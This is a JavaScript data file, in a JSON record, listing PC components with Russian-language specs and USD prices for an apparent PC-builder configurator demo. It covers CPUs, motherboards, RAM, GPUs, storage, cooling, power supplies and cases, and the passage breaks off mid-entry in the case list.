    "path": "legacy_tandem/viewer/works/example-pcbuilder/js/components.js",
    "content": "/**\n * CyberPredator — PC Configurator Component Database\n * ─────────────────────────────────────────────────\n * Актуально на: Февраль 2026\n *\n * КАК ОБНОВЛЯТЬ:\n *  1. Найди нужную категорию (cpus / gpus / ram / etc.)\n *  2. Добавь/измени/удали объект по шаблону существующих записей\n *  3. Обязательно соблюдай структуру полей:\n *     - id       : уникальный строковый идентификатор (slug)\n *     - name     : полное коммерческое название\n *     - price    : цена в USD (число)\n *     - specs    : объект характеристик (для карточки)\n *     - socket   : (только для CPU) — используется для проверки совместимости с MB\n *     - chipsets : (только для MB)  — массив совместимых сокетов\n *     - tdp      : (CPU/GPU) потребление в ваттах — нужно для PSU-калькулятора\n *     - wattage  : (только для PSU) — мощность БП\n *     - form     : (MB) — \"ATX\" | \"mATX\" | \"ITX\"  /  (Case) — список поддерживаемых форм-форматов\n */\n\nconst COMPONENTS = {\n\n    // ─── ПРОЦЕССОРЫ ────────────────────────────────────────────────────────────\n    cpus: [\n        // ── AMD Ryzen 9000 (Zen 5 / Granite Ridge, Socket AM5)\n        {\n            id: \"r5-9600x\",\n            brand: \"AMD\",\n            name: \"Ryzen 5 9600X\",\n            price: 279,\n            socket: \"AM5\",\n            tdp: 65,\n            specs: {\n                \"Ядра / Потоки\": \"6 / 12\",\n                \"Частота (базовая / турбо)\": \"3.9 / 5.4 GHz\",\n                \"Кэш L3\": \"32 MB\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"65 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: null\n        },\n        {\n            id: \"r7-9700x\",\n            brand: \"AMD\",\n            name: \"Ryzen 7 9700X\",\n            price: 359,\n            socket: \"AM5\",\n            tdp: 65,\n            specs: {\n                \"Ядра / Потоки\": \"8 / 16\",\n                \"Частота (базовая / турбо)\": \"3.8 / 5.5 GHz\",\n                \"Кэш L3\": \"32 MB\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"65 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: null\n        },\n        {\n            id: \"r7-9800x3d\",\n            brand: \"AMD\",\n            name: \"Ryzen 7 9800X3D\",\n            price: 479,\n            socket: \"AM5\",\n            tdp: 120,\n            specs: {\n                \"Ядра / Потоки\": \"8 / 16\",\n                \"Частота (базовая / турбо)\": \"4.7 / 5.2 GHz\",\n                \"Кэш L3\": \"96 MB (3D V-Cache)\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"120 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: \"ТОПОВЫЙ В ИГРАХ\"\n        },\n        {\n            id: \"r7-9850x3d\",\n            brand: \"AMD\",\n            name: \"Ryzen 7 9850X3D\",\n            price: 529,\n            socket: \"AM5\",\n            tdp: 120,\n            specs: {\n                \"Ядра / Потоки\": \"8 / 16\",\n                \"Частота (базовая / турбо)\": \"4.7 / 5.6 GHz\",\n                \"Кэш L3\": \"96 MB (3D V-Cache)\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"120 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: \"НОВИНКА 2026\"\n        },\n        {\n            id: \"r9-9900x\",\n            brand: \"AMD\",\n            name: \"Ryzen 9 9900X\",\n            price: 449,\n            socket: \"AM5\",\n            tdp: 120,\n            specs: {\n                \"Ядра / Потоки\": \"12 / 24\",\n                \"Частота (базовая / турбо)\": \"4.4 / 5.6 GHz\",\n                \"Кэш L3\": \"64 MB\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"120 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: null\n        },\n        {\n            id: \"r9-9950x\",\n            brand: \"AMD\",\n            name: \"Ryzen 9 9950X\",\n            price: 649,\n            socket: \"AM5\",\n            tdp: 170,\n            specs: {\n                \"Ядра / Потоки\": \"16 / 32\",\n                \"Частота (базовая / турбо)\": \"4.3 / 5.7 GHz\",\n                \"Кэш L3\": \"64 MB\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"170 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: \"ФЛАГМАН AMD\"\n        },\n        {\n            id: \"r9-9950x3d\",\n            brand: \"AMD\",\n            name: \"Ryzen 9 9950X3D\",\n            price: 849,\n            socket: \"AM5\",\n            tdp: 170,\n            specs: {\n                \"Ядра / Потоки\": \"16 / 32\",\n                \"Частота (базовая / турбо)\": \"4.3 / 5.7 GHz\",\n                \"Кэш L3\": \"128 MB (3D V-Cache)\",\n                \"Техпроцесс\": \"4 nm (Zen 5)\",\n                \"TDP\": \"170 W\",\n                \"Сокет\": \"AM5\"\n            },\n            badge: \"ULTIMATE\"\n        },\n\n        // ── Intel Core Ultra 200 (Arrow Lake-S, Socket LGA1851)\n        {\n            id: \"cu5-245k\",\n            brand: \"Intel\",\n            name: \"Core Ultra 5 245K\",\n            price: 309,\n            socket: \"LGA1851\",\n            tdp: 125,\n            specs: {\n                \"Ядра / Потоки\": \"14 (6P + 8E) / 14\",\n                \"Частота (P-Core турбо)\": \"до 5.2 GHz\",\n                \"Кэш L3\": \"24 MB\",\n                \"Техпроцесс\": \"3 nm (Intel 4 / TSMC N6)\",\n                \"TDP\": \"125 W\",\n                \"Сокет\": \"LGA1851\"\n            },\n            badge: null\n        },\n        {\n            id: \"cu5-245kf\",\n            brand: \"Intel\",\n            name: \"Core Ultra 5 245KF\",\n            price: 289,\n            socket: \"LGA1851\",\n            tdp: 125,\n            specs: {\n                \"Ядра / Потоки\": \"14 (6P + 8E) / 14\",\n                \"Частота (P-Core турбо)\": \"до 5.2 GHz\",\n                \"Кэш L3\": \"24 MB\",\n                \"Техпроцесс\": \"3 nm\",\n                \"TDP\": \"125 W\",\n                \"Сокет\": \"LGA1851\",\n                \"Примечание\": \"Без встроенной графики\"\n            },\n            badge: null\n        },\n        {\n            id: \"cu7-265k\",\n            brand: \"Intel\",\n            name: \"Core Ultra 7 265K\",\n            price: 394,\n            socket: \"LGA1851\",\n            tdp: 125,\n            specs: {\n                \"Ядра / Потоки\": \"20 (8P + 12E) / 20\",\n                \"Частота (P-Core турбо)\": \"до 5.5 GHz\",\n                \"Кэш L3\": \"30 MB\",\n                \"Техпроцесс\": \"3 nm\",\n                \"TDP\": \"125 W\",\n                \"Сокет\": \"LGA1851\"\n            },\n            badge: null\n        },\n        {\n            id: \"cu7-265kf\",\n            brand: \"Intel\",\n            name: \"Core Ultra 7 265KF\",\n            price: 374,\n            socket: \"LGA1851\",\n            tdp: 125,\n            specs: {\n                \"Ядра / Потоки\": \"20 (8P + 12E) / 20\",\n                \"Частота (P-Core турбо)\": \"до 5.5 GHz\",\n                \"Кэш L3\": \"30 MB\",\n                \"Техпроцесс\": \"3 nm\",\n                \"TDP\": \"125 W\",\n                \"Сокет\": \"LGA1851\",\n                \"Примечание\": \"Без встроенной графики\"\n            },\n            badge: null\n        },\n        {\n            id: \"cu9-285k\",\n            brand: \"Intel\",\n            name: \"Core Ultra 9 285K\",\n            price: 589,\n            socket: \"LGA1851\",\n            tdp: 125,\n            specs: {\n                \"Ядра / Потоки\": \"24 (8P + 16E) / 24\",\n                \"Частота (P-Core турбо)\": \"до 5.7 GHz\",\n                \"Кэш L3\": \"36 MB\",\n                \"Техпроцесс\": \"3 nm\",\n                \"TDP\": \"125 W\",\n                \"Сокет\": \"LGA1851\"\n            },\n            badge: \"ФЛАГМАН INTEL\"\n        }\n    ],\n\n    // ─── МАТЕРИНСКИЕ ПЛАТЫ ─────────────────────────────────────────────────────\n    motherboards: [\n        // ── AMD AM5 / B650\n        {\n            id: \"asus-prime-b650-a\",\n            brand: \"ASUS\",\n            name: \"PRIME B650-A WiFi\",\n            price: 179,\n            socket: \"AM5\",\n            form: \"ATX\",\n            chipset: \"B650\",\n            specs: {\n                \"Сокет\": \"AM5\",\n                \"Чипсет\": \"B650\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 192 GB / 6400+ MHz\",\n                \"PCIe\": \"1x PCIe 5.0 x16, 2x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2, USB-C\"\n            }\n        },\n        {\n            id: \"msi-b650-tomahawk\",\n            brand: \"MSI\",\n            name: \"MAG B650 Tomahawk WiFi\",\n            price: 209,\n            socket: \"AM5\",\n            form: \"ATX\",\n            chipset: \"B650\",\n            specs: {\n                \"Сокет\": \"AM5\",\n                \"Чипсет\": \"B650\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 192 GB / 7200+ MHz\",\n                \"PCIe\": \"1x PCIe 5.0 x16, 2x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2, USB-C 20Gbps\"\n            }\n        },\n        // ── AMD AM5 / X670E\n        {\n            id: \"asus-rog-crosshair-x670e\",\n            brand: \"ASUS\",\n            name: \"ROG Crosshair X670E Hero\",\n            price: 499,\n            socket: \"AM5\",\n            form: \"ATX\",\n            chipset: \"X670E\",\n            specs: {\n                \"Сокет\": \"AM5\",\n                \"Чипсет\": \"X670E\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 256 GB / 7200+ MHz OC\",\n                \"PCIe\": \"2x PCIe 5.0 x16, 4x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2 x2, Thunderbolt 4\"\n            }\n        },\n        {\n            id: \"msi-meg-x670e-ace\",\n            brand: \"MSI\",\n            name: \"MEG X670E ACE\",\n            price: 529,\n            socket: \"AM5\",\n            form: \"ATX\",\n            chipset: \"X670E\",\n            specs: {\n                \"Сокет\": \"AM5\",\n                \"Чипсет\": \"X670E\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 256 GB / 7800+ MHz OC\",\n                \"PCIe\": \"2x PCIe 5.0 x16, 4x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2, Thunderbolt 4, WiFi 7\"\n            }\n        },\n        // ── AMD AM5 / X870E\n        {\n            id: \"asus-rog-crosshair-x870e\",\n            brand: \"ASUS\",\n            name: \"ROG Crosshair X870E Hero\",\n            price: 649,\n            socket: \"AM5\",\n            form: \"ATX\",\n            chipset: \"X870E\",\n            specs: {\n                \"Сокет\": \"AM5\",\n                \"Чипсет\": \"X870E\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 256 GB / 8000+ MHz OC\",\n                \"PCIe\": \"2x PCIe 5.0 x16, 5x M.2 (3x PCIe 5.0)\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2 x3, Thunderbolt 5, WiFi 7\"\n            }\n        },\n        // ── Intel LGA1851 / Z890\n        {\n            id: \"asus-prime-z890-a\",\n            brand: \"ASUS\",\n            name: \"PRIME Z890-A WiFi\",\n            price: 239,\n            socket: \"LGA1851\",\n            form: \"ATX\",\n            chipset: \"Z890\",\n            specs: {\n                \"Сокет\": \"LGA1851\",\n                \"Чипсет\": \"Z890\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 192 GB / 8000+ MHz\",\n                \"PCIe\": \"1x PCIe 5.0 x16, 3x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2, USB-C 40Gbps\"\n            }\n        },\n        {\n            id: \"msi-z890-tomahawk\",\n            brand: \"MSI\",\n            name: \"MAG Z890 Tomahawk WiFi\",\n            price: 279,\n            socket: \"LGA1851\",\n            form: \"ATX\",\n            chipset: \"Z890\",\n            specs: {\n                \"Сокет\": \"LGA1851\",\n                \"Чипсет\": \"Z890\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"4x DDR5 до 192 GB / 9200+ MHz OC\",\n                \"PCIe\": \"1x PCIe 5.0 x16, 3x M.2 PCIe 5.0/4.0\",\n                \"USB на задней панели\": \"USB 3.2 Gen 2x2, Thunderbolt 4, WiFi 7\"\n            }\n        },\n        {\n            id: \"asus-rog-maximus-z890\",\n            brand: \"ASUS\",\n            name: \"ROG Maximus Z890 Apex\",\n            price: 649,\n            socket: \"LGA1851\",\n            form: \"ATX\",\n            chipset: \"Z890\",\n            specs: {\n                \"Сокет\": \"LGA1851\",\n                \"Чипсет\": \"Z890\",\n                \"Форм-фактор\": \"ATX\",\n                \"Слоты RAM\": \"2x DDR5 до 128 GB / 10400+ MHz OC\",\n                \"PCIe\": \"1x PCIe 5.0 x16, 4x M.2 PCIe 5.0\",\n                \"USB на задней панели\": \"Thunderbolt 5, USB 3.2 Gen 2x2 x4, WiFi 7\"\n            }\n        }\n    ],\n\n    // ─── ОПЕРАТИВНАЯ ПАМЯТЬ DDR5 ───────────────────────────────────────────────\n    ram: [\n        {\n            id: \"ddr5-16-6000\",\n            name: \"16 GB DDR5-6000 (1×16 GB)\",\n            price: 55,\n            specs: {\n                \"Объём\": \"16 GB (1 модуль)\",\n                \"Стандарт\": \"DDR5-6000\",\n                \"Таймингиы (CL)\": \"CL36\",\n                \"Напряжение\": \"1.35 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        },\n        {\n            id: \"ddr5-32-6000\",\n            name: \"32 GB DDR5-6000 (2×16 GB)\",\n            price: 100,\n            specs: {\n                \"Объём\": \"32 GB (2×16 GB, Dual Channel)\",\n                \"Стандарт\": \"DDR5-6000\",\n                \"Тайминги (CL)\": \"CL36\",\n                \"Напряжение\": \"1.35 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        },\n        {\n            id: \"ddr5-32-7200\",\n            name: \"32 GB DDR5-7200 (2×16 GB)\",\n            price: 130,\n            specs: {\n                \"Объём\": \"32 GB (2×16 GB, Dual Channel)\",\n                \"Стандарт\": \"DDR5-7200\",\n                \"Тайминги (CL)\": \"CL34\",\n                \"Напряжение\": \"1.40 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        },\n        {\n            id: \"ddr5-64-6000\",\n            name: \"64 GB DDR5-6000 (2×32 GB)\",\n            price: 185,\n            specs: {\n                \"Объём\": \"64 GB (2×32 GB, Dual Channel)\",\n                \"Стандарт\": \"DDR5-6000\",\n                \"Тайминги (CL)\": \"CL36\",\n                \"Напряжение\": \"1.35 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        },\n        {\n            id: \"ddr5-64-7200\",\n            name: \"64 GB DDR5-7200 (2×32 GB)\",\n            price: 255,\n            specs: {\n                \"Объём\": \"64 GB (2×32 GB, Dual Channel)\",\n                \"Стандарт\": \"DDR5-7200\",\n                \"Тайминги (CL)\": \"CL34\",\n                \"Напряжение\": \"1.40 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        },\n        {\n            id: \"ddr5-128-6400\",\n            name: \"128 GB DDR5-6400 (4×32 GB)\",\n            price: 420,\n            specs: {\n                \"Объём\": \"128 GB (4×32 GB, Quad Channel)\",\n                \"Стандарт\": \"DDR5-6400\",\n                \"Тайминги (CL)\": \"CL32\",\n                \"Напряжение\": \"1.35 V\",\n                \"Профиль\": \"XMP 3.0 / EXPO\"\n            }\n        }\n    ],\n\n    // ─── ВИДЕОКАРТЫ ────────────────────────────────────────────────────────────\n    gpus: [\n        // ── NVIDIA GeForce RTX 50 Series (January 2025)\n        {\n            id: \"rtx-5060\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5060\",\n            price: 299,\n            tdp: 150,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"8 GB GDDR7\",\n                \"Шина памяти\": \"128-bit\",\n                \"TDP\": \"150 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm (TSMC N4)\"\n            },\n            badge: null\n        },\n        {\n            id: \"rtx-5060ti\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5060 Ti\",\n            price: 429,\n            tdp: 180,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"16 GB GDDR7\",\n                \"Шина памяти\": \"128-bit\",\n                \"TDP\": \"180 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm (TSMC N4)\"\n            },\n            badge: null\n        },\n        {\n            id: \"rtx-5070\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5070\",\n            price: 549,\n            tdp: 250,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"12 GB GDDR7\",\n                \"Шина памяти\": \"192-bit\",\n                \"TDP\": \"250 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: null\n        },\n        {\n            id: \"rtx-5070ti\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5070 Ti\",\n            price: 749,\n            tdp: 300,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"16 GB GDDR7\",\n                \"Шина памяти\": \"256-bit\",\n                \"TDP\": \"300 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: \"ЛУЧШИЙ ВЫБОР\"\n        },\n        {\n            id: \"rtx-5080\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5080\",\n            price: 999,\n            tdp: 360,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"16 GB GDDR7\",\n                \"Шина памяти\": \"256-bit\",\n                \"TDP\": \"360 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: null\n        },\n        {\n            id: \"rtx-5090\",\n            brand: \"NVIDIA\",\n            name: \"GeForce RTX 5090\",\n            price: 1999,\n            tdp: 575,\n            specs: {\n                \"Архитектура\": \"Blackwell\",\n                \"Видеопамять\": \"32 GB GDDR7\",\n                \"Шина памяти\": \"512-bit\",\n                \"TDP\": \"575 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: \"АБСОЛЮТНЫЙ ТОП\"\n        },\n\n        // ── AMD Radeon RX 9000 Series (2025)\n        {\n            id: \"rx-9060xt\",\n            brand: \"AMD\",\n            name: \"Radeon RX 9060 XT\",\n            price: 349,\n            tdp: 160,\n            specs: {\n                \"Архитектура\": \"RDNA 4\",\n                \"Видеопамять\": \"16 GB GDDR6\",\n                \"Шина памяти\": \"128-bit\",\n                \"TDP\": \"160 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm (TSMC N4)\"\n            },\n            badge: null\n        },\n        {\n            id: \"rx-9070\",\n            brand: \"AMD\",\n            name: \"Radeon RX 9070\",\n            price: 499,\n            tdp: 220,\n            specs: {\n                \"Архитектура\": \"RDNA 4\",\n                \"Видеопамять\": \"16 GB GDDR6\",\n                \"Шина памяти\": \"256-bit\",\n                \"TDP\": \"220 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: null\n        },\n        {\n            id: \"rx-9070xt\",\n            brand: \"AMD\",\n            name: \"Radeon RX 9070 XT\",\n            price: 599,\n            tdp: 250,\n            specs: {\n                \"Архитектура\": \"RDNA 4\",\n                \"Видеопамять\": \"16 GB GDDR6\",\n                \"Шина памяти\": \"256-bit\",\n                \"TDP\": \"250 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: \"Отличный AMD\"\n        },\n        {\n            id: \"rx-9080\",\n            brand: \"AMD\",\n            name: \"Radeon RX 9080\",\n            price: 749,\n            tdp: 300,\n            specs: {\n                \"Архитектура\": \"RDNA 4\",\n                \"Видеопамять\": \"32 GB GDDR6\",\n                \"Шина памяти\": \"256-bit\",\n                \"TDP\": \"300 W\",\n                \"PCIe\": \"PCIe 5.0 x16\",\n                \"Техпроцесс\": \"4 nm\"\n            },\n            badge: null\n        }\n    ],\n\n    // ─── НАКОПИТЕЛИ ───────────────────────────────────────────────────────────\n    storage: [\n        {\n            id: \"ssd-1tb-pcie4\",\n            name: \"1 TB NVMe PCIe 4.0 SSD\",\n            price: 70,\n            specs: {\n                \"Объём\": \"1 TB\",\n                \"Интерфейс\": \"M.2 NVMe PCIe 4.0 x4\",\n                \"Скорость чтения\": \"7,400 MB/s\",\n                \"Скорость записи\": \"6,800 MB/s\",\n                \"Форм-фактор\": \"M.2 2280\"\n            }\n        },\n        {\n            id: \"ssd-2tb-pcie4\",\n            name: \"2 TB NVMe PCIe 4.0 SSD\",\n            price: 120,\n            specs: {\n                \"Объём\": \"2 TB\",\n                \"Интерфейс\": \"M.2 NVMe PCIe 4.0 x4\",\n                \"Скорость чтения\": \"7,400 MB/s\",\n                \"Скорость записи\": \"6,900 MB/s\",\n                \"Форм-фактор\": \"M.2 2280\"\n            }\n        },\n        {\n            id: \"ssd-1tb-pcie5\",\n            name: \"1 TB NVMe PCIe 5.0 SSD\",\n            price: 130,\n            specs: {\n                \"Объём\": \"1 TB\",\n                \"Интерфейс\": \"M.2 NVMe PCIe 5.0 x4\",\n                \"Скорость чтения\": \"12,400 MB/s\",\n                \"Скорость записи\": \"11,200 MB/s\",\n                \"Форм-фактор\": \"M.2 2280\"\n            }\n        },\n        {\n            id: \"ssd-2tb-pcie5\",\n            name: \"2 TB NVMe PCIe 5.0 SSD\",\n            price: 220,\n            specs: {\n                \"Объём\": \"2 TB\",\n                \"Интерфейс\": \"M.2 NVMe PCIe 5.0 x4\",\n                \"Скорость чтения\": \"14,000 MB/s\",\n                \"Скорость записи\": \"12,000 MB/s\",\n                \"Форм-фактор\": \"M.2 2280\"\n            }\n        },\n        {\n            id: \"ssd-4tb-pcie5\",\n            name: \"4 TB NVMe PCIe 5.0 SSD\",\n            price: 380,\n            specs: {\n                \"Объём\": \"4 TB\",\n                \"Интерфейс\": \"M.2 NVMe PCIe 5.0 x4\",\n                \"Скорость чтения\": \"14,500 MB/s\",\n                \"Скорость записи\": \"13,500 MB/s\",\n                \"Форм-фактор\": \"M.2 2280\"\n            }\n        }\n    ],\n\n    // ─── СИСТЕМЫ ОХЛАЖДЕНИЯ CPU ────────────────────────────────────────────────\n    cooling: [\n        {\n            id: \"air-budget\",\n            name: \"Воздушный кулер 120 W (Thermalright Assassin X 120 SE)\",\n            price: 30,\n            type: \"air\",\n            maxTdp: 120,\n            specs: {\n                \"Тип\": \"Воздушное охлаждение\",\n                \"Рассеиваемая мощность\": \"до 120 W TDP\",\n                \"Вентилятор\": \"120 mm PWM\",\n                \"Уровень шума\": \"≤ 28 dBA\",\n                \"Совместимость\": \"AM5, LGA1851, AM4, LGA1700\"\n            }\n        },\n        {\n            id: \"air-mid\",\n            name: \"Воздушный кулер 180 W (Thermalright Peerless Assassin 120 SE)\",\n            price: 55,\n            type: \"air\",\n            maxTdp: 180,\n            specs: {\n                \"Тип\": \"Воздушное охлаждение (башня с двумя вент.)\",\n                \"Рассеиваемая мощность\": \"до 180 W TDP\",\n                \"Вентиляторы\": \"2 × 120 mm PWM\",\n                \"Уровень шума\": \"≤ 25 dBA\",\n                \"Совместимость\": \"AM5, LGA1851, AM4, LGA1700\"\n            }\n        },\n        {\n            id: \"aio-240\",\n            name: \"СЖО 240 мм (ASUS ROG STRIX LC II 240)\",\n            price: 90,\n            type: \"aio\",\n            maxTdp: 180,\n            specs: {\n                \"Тип\": \"Система жидкостного охлаждения\",\n                \"Радиатор\": \"240 мм\",\n                \"Вентиляторы\": \"2 × 120 mm PWM ARGB\",\n                \"Рассеиваемая мощность\": \"до 180 W TDP\",\n                \"Совместимость\": \"AM5, LGA1851, AM4, LGA1700\"\n            }\n        },\n        {\n            id: \"aio-360\",\n            name: \"СЖО 360 мм (NZXT Kraken Elite 360)\",\n            price: 140,\n            type: \"aio\",\n            maxTdp: 300,\n            specs: {\n                \"Тип\": \"Система жидкостного охлаждения\",\n                \"Радиатор\": \"360 мм\",\n                \"Вентиляторы\": \"3 × 120 mm PWM ARGB\",\n                \"Рассеиваемая мощность\": \"до 300 W TDP\",\n                \"Совместимость\": \"AM5, LGA1851, AM4, LGA1700\"\n            }\n        },\n        {\n            id: \"aio-420\",\n            name: \"СЖО 420 мм (be quiet! Silent Loop 3 420)\",\n            price: 200,\n            type: \"aio\",\n            maxTdp: 400,\n            specs: {\n                \"Тип\": \"Система жидкостного охлаждения\",\n                \"Радиатор\": \"420 мм\",\n                \"Вентиляторы\": \"3 × 140 mm PWM\",\n                \"Рассеиваемая мощность\": \"до 400 W TDP\",\n                \"Уровень шума\": \"≤ 24 dBA (макс.)\",\n                \"Совместимость\": \"AM5, LGA1851, AM4, LGA1700\"\n            }\n        }\n    ],\n\n    // ─── БЛОКИ ПИТАНИЯ ─────────────────────────────────────────────────────────\n    psus: [\n        {\n            id: \"psu-650w\",\n            name: \"650W 80+ Gold (Seasonic Focus GX-650)\",\n            price: 90,\n            wattage: 650,\n            specs: {\n                \"Мощность\": \"650 W\",\n                \"Сертификация\": \"80+ Gold\",\n                \"Модульность\": \"Fully Modular\",\n                \"Разъём GPU\": \"1× PCIe 16-pin (600W ATX3.0)\",\n                \"Гарантия\": \"10 лет\"\n            }\n        },\n        {\n            id: \"psu-750w\",\n            name: \"750W 80+ Gold (Corsair RM750x)\",\n            price: 110,\n            wattage: 750,\n            specs: {\n                \"Мощность\": \"750 W\",\n                \"Сертификация\": \"80+ Gold\",\n                \"Модульность\": \"Fully Modular\",\n                \"Разъём GPU\": \"2× PCIe 8-pin / 16-pin адаптер\",\n                \"Гарантия\": \"10 лет\"\n            }\n        },\n        {\n            id: \"psu-850w\",\n            name: \"850W 80+ Gold (be quiet! Straight Power 12)\",\n            price: 130,\n            wattage: 850,\n            specs: {\n                \"Мощность\": \"850 W\",\n                \"Сертификация\": \"80+ Gold\",\n                \"Модульность\": \"Fully Modular\",\n                \"Разъём GPU\": \"2× PCIe 16-pin (ATX 3.0)\",\n                \"Гарантия\": \"10 лет\"\n            }\n        },\n        {\n            id: \"psu-1000w\",\n            name: \"1000W 80+ Gold (Seasonic Prime GX-1000)\",\n            price: 160,\n            wattage: 1000,\n            specs: {\n                \"Мощность\": \"1000 W\",\n                \"Сертификация\": \"80+ Gold\",\n                \"Модульность\": \"Fully Modular\",\n                \"Разъём GPU\": \"2× PCIe 16-pin (ATX 3.0)\",\n                \"Гарантия\": \"12 лет\"\n            }\n        },\n        {\n            id: \"psu-1200w\",\n            name: \"1200W 80+ Platinum (ASUS ROG THOR 1200P2)\",\n            price: 210,\n            wattage: 1200,\n            specs: {\n                \"Мощность\": \"1200 W\",\n                \"Сертификация\": \"80+ Platinum\",\n                \"Модульность\": \"Fully Modular\",\n                \"Разъём GPU\": \"3× PCIe 16-pin (ATX 3.0)\",\n                \"Дисплей\": \"Встроенный OLED для мониторинга\",\n                \"Гарантия\": \"10 лет\"\n            }\n        },\n        {\n            id: \"psu-1600w\",\n            name: \"1600W 80+ Titanium (Corsair AX1600i)\",\n            price: 380,\n            wattage: 1600,\n            specs: {\n                \"Мощность\": \"1600 W\",\n                \"Сертификация\": \"80+ Titanium\",\n                \"Модульность\": \"Fully Modular Digital\",\n                \"Разъём GPU\": \"4× PCIe 16-pin (ATX 3.0)\",\n                \"Гарантия\": \"10 лет\"\n            }\n        }\n    ],\n\n    // ─── КОРПУСА ───────────────────────────────────────────────────────────────\n    cases: [\n        {\n            id: \"case-lian-li-o11d\",\n            name: \"Lian Li O11 Dynamic EVO (Mid Tower ATX)\",\n            price: 149,\n            supports: [\"ATX\", \"mATX\", \"ITX\"],\n            maxAioRadiator: 360,\n            specs: {\n                \"Тип\": \"Mid Tower\",\n                \"Форм-фактор MB\": \"ATX / mATX / Mini-ITX\",\n                \"Отсеки 3.5\\\" / 2.5\\\"\": \"2 / 6\",\n                \"Макс. радиатор\": \"360 mm (бок + верх + перед)\",\n                \"Макс. высота CPU-кулера\": \"167 mm\",\n                \"Tempered Glass\": \"Двойное\"\n            }\n        },\n        {\n            id: \"case-fractal-north\",\n            name: \"Fractal Design North (Mid Tower ATX)\",\n            price: 109,\n            supports: [\"ATX\", \"mATX\", \"ITX\"],\n            maxAioRadiator: 360,\n            specs: {\n                \"Тип\": \"Mid Tower\",\n                \"Форм-фактор MB\": \"ATX / mATX / Mini-ITX\",\n                \"Дизайн\": \"Деревянная передняя панель\",\n                \"Макс. радиатор\": \"360 mm (верх) / 280 mm (перед)\",\n                \"Макс. высота CPU-кулера\": \"169 mm\",\n                \"Материал\": \"Сталь + дерево\"\n            }\n        },\n        {\n            id: \"case-nzxt-h7-flow\",\n            name: \"NZXT H7 Flow (Mid Tower ATX)\",\n            price: 129,\n            supports: [\"ATX\", \"mATX\", \"ITX\"],\n            maxAioRadiator: 420,\n            specs: {\n                \"Тип\": \"Mid Tower\",\n                \"Форм-фактор MB\": \"ATX / mATX / Mini-ITX\",\n                \"Макс. радиатор\": \"420 mm (верх) / 360 mm (перед)\",\n                \"Макс. высота CPU-кулера\": \"185 mm\",\n                \"USB-C на передней панели\": \"USB-C 3.2 Gen 2\",\n                \"Tempered Glass\": \"Одностороннее\"\n            }\n        },\n        {\n            id: \"case-be-quiet-silent-7\",\n            name: \"be quiet! Silent Base 802 (Full Tower E-ATX)\",\n            price: 179,\n            supports: [\"E-ATX\", \"ATX\", \"mATX\", \"ITX\"],\n            maxAioRadiator: 420,\n            specs: {\n                \"Тип\": \"Full Tower\",\n                \"Форм-фактор MB\": \"E-ATX / ATX / mATX / 